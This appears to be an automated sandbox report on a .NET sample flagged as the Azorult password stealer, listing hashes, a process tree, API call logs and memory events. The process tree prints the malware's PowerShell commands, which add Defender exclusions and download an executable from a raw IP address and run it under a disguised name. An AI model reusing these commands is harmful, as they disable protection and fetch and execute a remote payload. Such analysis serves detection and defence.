Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 20, 2024, 7:55 a.m.	March 20, 2024, 7:57 a.m.

Size	373.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`f727c0754ddda4ed6354375ab748735b`
SHA256	`661a2b6049a9d139ab8ae094b25ea0cfd3f24e7aa18190ae11e23f9e97753899`
CRC32	`26D649FA`
ssdeep	`6144:jDDVjYjHaWUpUL/D70J/t3VWMu/RuwtYULAFzcZjSwBJFryh4jSc57cmYV5Yv4Xc:/DVjYraWUpUrD7sNQMu/YNzcnBJhjSA7`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

taskhostw.exe "C:\Users\test22\AppData\Local\Temp\taskhostw.exe"
1684
- powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
  2072
- powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData"
  2120
- powershell.exe "powershell" -Command "Invoke-WebRequest -Uri 'http://193.222.96.225/server/website2014523652458952/blue/Gcode_Secure/Gcode.exe' -OutFile 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'; Start-Process 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'"
  2776

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (18 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:55 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 20, 2024, 7:56 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 20, 2024, 7:56 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 20, 2024, 7:55 a.m.			0	0
IsDebuggerPresent March 20, 2024, 7:55 a.m.			0	0
IsDebuggerPresent March 20, 2024, 7:55 a.m.			0	0
IsDebuggerPresent March 20, 2024, 7:55 a.m.			0	0
IsDebuggerPresent March 20, 2024, 7:56 a.m.			0	0

Command line console output was observed (36 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp console_handle: 0x00000053	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData console_handle: 0x00000053	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000005f	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: mmandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW March 20, 2024, 7:55 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: + Invoke-WebRequest <<<< -Uri 'http://193.222.96.225/server/website20145236524 console_handle: 0x00000053	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: 58952/blue/Gcode_Secure/Gcode.exe' -OutFile 'C:\Users\test22\AppData\Roaming\Wm console_handle: 0x0000005f	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: iPrvSE.exe'; Start-Process 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe' console_handle: 0x0000006b	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x00000077	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: ommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x0000008f	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: Start-Process : This command cannot be executed due to the error: The system ca console_handle: 0x000000af	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: nnot find the file specified. console_handle: 0x000000bb	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: At line:1 char:177 console_handle: 0x000000c7	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: + Invoke-WebRequest -Uri 'http://193.222.96.225/server/website2014523652458952/ console_handle: 0x000000d3	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: blue/Gcode_Secure/Gcode.exe' -OutFile 'C:\Users\test22\AppData\Roaming\WmiPrvSE console_handle: 0x000000df	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: .exe'; Start-Process <<<< 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe' console_handle: 0x000000eb	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOp console_handle: 0x000000f7	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: erationException console_handle: 0x00000103	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.C console_handle: 0x0000010f	1	1
WriteConsoleW March 20, 2024, 7:56 a.m.	buffer: ommands.StartProcessCommand console_handle: 0x0000011b	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 143 events)

Time & API	Arguments	Status	Return
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be308 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be048 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be048 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be048 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be048 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be048 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be048 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be4c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003beb48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003bed48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003be7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005fd3a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 20, 2024, 7:55 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005edb98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 20, 2024, 7:55 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	.3l+
section	.U$\
section	.;2@

Allocates read-write-execute memory (usually to unpack itself) (50 out of 470 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 851968 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00690000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 720896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00740000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00680000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00681000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00467000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00689000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00465000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0068f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006dd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c22000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 20, 2024, 7:55 a.m.	process_identifier: 1684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 200704 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c24000 process_handle: 0xffffffff	1
